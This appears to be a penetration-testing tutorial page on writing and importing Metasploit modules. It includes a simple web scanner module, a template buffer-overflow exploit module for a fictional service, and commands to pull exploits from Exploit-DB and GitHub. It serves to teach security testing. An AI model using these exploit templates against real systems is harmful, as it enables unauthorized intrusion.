✍️ Writing & Importing Modules¶
While Metasploit ships with thousands of modules, you'll often need to import third-party exploits (e.g., from Exploit-DB) or write your own custom modules for unique vulnerabilities discovered during engagements.
1️⃣ Module Directory Structure¶
Custom modules go in ~/.msf4/modules/, mirroring the framework's directory structure:
~/.msf4/modules/
├── exploits/
│ └── custom/
│ └── my_exploit.rb
├── auxiliary/
│ └── scanner/
│ └── my_scanner.rb
└── post/
└── windows/
└── my_post_module.rb
Tip
Never edit modules in /usr/share/metasploit-framework/modules/ — updates will overwrite your changes. Always use ~/.msf4/modules/.
2️⃣ Writing a Basic Auxiliary Scanner Module¶
Here's a minimal auxiliary scanner that checks if a web server returns a specific string:
# ~/.msf4/modules/auxiliary/scanner/http/my_web_scanner.rb
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Web Scanner',
'Description' => 'Checks if a web server contains a specific string in its response.',
'Author' => ['YourName'],
'License' => MSF_LICENSE
))
register_options([
OptString.new('TARGETURI', [true, 'The path to check', '/']),
OptString.new('SEARCH_STRING', [true, 'String to search for', 'admin']),
])
end
def run_host(ip)
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.body.include?(datastore['SEARCH_STRING'])
print_good("#{ip} - Found '#{datastore['SEARCH_STRING']}' in response!")
report_vuln(
host: ip,
name: 'Custom Finding',
info: "String '#{datastore['SEARCH_STRING']}' found at #{datastore['TARGETURI']}"
)
else
print_status("#{ip} - String not found.")
end
rescue ::Rex::ConnectionError
print_error("#{ip} - Connection failed.")
end
end
end
Key Points¶
| Element | Purpose |
|---|---|
include Msf::Exploit::Remote::HttpClient |
Provides send_request_cgi for HTTP requests. |
include Msf::Auxiliary::Scanner |
Provides multi-threaded scanning (RHOSTS, THREADS). |
include Msf::Auxiliary::Report |
Provides report_vuln, report_host, etc. for database integration. |
register_options |
Defines configurable options (shown in show options). |
run_host(ip) |
Called once per target host (provided by the Scanner mixin). |
3️⃣ Writing a Basic Exploit Module¶
A minimal remote exploit module structure:
# ~/.msf4/modules/exploits/custom/my_exploit.rb
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Buffer Overflow',
'Description' => 'Exploits a buffer overflow in CustomService v1.0.',
'Author' => ['YourName'],
'License' => MSF_LICENSE,
'Platform' => ['win'],
'Arch' => [ARCH_X86],
'Targets' => [
['Windows XP SP3', { 'Ret' => 0x7c9d30d7 }], # JMP ESP in ntdll.dll
['Windows 7 SP1', { 'Ret' => 0x7c347f98 }],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-01-01'
))
register_options([
Opt::RPORT(9999),
])
end
def check
# Optional: non-destructive vulnerability check
connect
banner = sock.get_once
disconnect
if banner && banner.include?('CustomService v1.0')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
buf = "A" * 2606 # Padding to reach EIP
buf += [target['Ret']].pack('V') # Overwrite EIP with JMP ESP address
buf += make_nops(16) # NOP sled
buf += payload.encoded # The payload (shellcode)
print_status("Sending exploit buffer...")
sock.put(buf)
handler
disconnect
end
end
4️⃣ Importing Third-Party Modules¶
From Exploit-DB / SearchSploit¶
# Search for an exploit
searchsploit apache 2.4.49
# Copy the exploit to your modules directory
searchsploit -m exploits/linux/remote/50383.rb
cp 50383.rb ~/.msf4/modules/exploits/custom/
# Reload modules in MSFconsole
msf6 > reload_all
# Or just update the module cache
msf6 > loadpath ~/.msf4/modules/
From GitHub¶
# Clone or download the .rb file
wget https://raw.githubusercontent.com/author/repo/main/exploit.rb \
-O ~/.msf4/modules/exploits/custom/exploit.rb
# Reload in MSFconsole
msf6 > reload_all
Note
After adding new modules, always run reload_all in MSFconsole. The new modules won't appear in search results until the cache is rebuilt.
5️⃣ Testing Your Module¶
# Load and test your module
msf6 > use exploits/custom/my_exploit
msf6 > info # Verify metadata is correct
msf6 > show options # Verify options are registered
msf6 > check # Test the check method
msf6 > exploit # Run the exploit
Debugging¶
# Enable verbose logging for debugging
msf6 > set VERBOSE true
# Check for Ruby syntax errors before loading
ruby -c ~/.msf4/modules/exploits/custom/my_exploit.rb
6️⃣ Gotchas¶
Note
Module path must mirror the framework structure. An exploit module placed in ~/.msf4/modules/auxiliary/ will fail to load because Metasploit expects the class to match the directory.
Note
Ruby version compatibility. Metasploit uses a specific Ruby version. If you import a module written for an older version of the framework, it may require modifications to work with the current API.
Note
Always review third-party modules before running them. A malicious module could execute arbitrary code on your machine. Read the Ruby source and understand what it does before loading it.
Note
Module rank matters. Set the Rank appropriately — Metasploit uses it to warn users about unreliable exploits. Don't set ExcellentRanking unless your exploit truly won't crash the target service.
Warning
Custom exploits can cause crashes, data corruption, or denial-of-service on target systems. Always test in a controlled lab environment before using against production targets.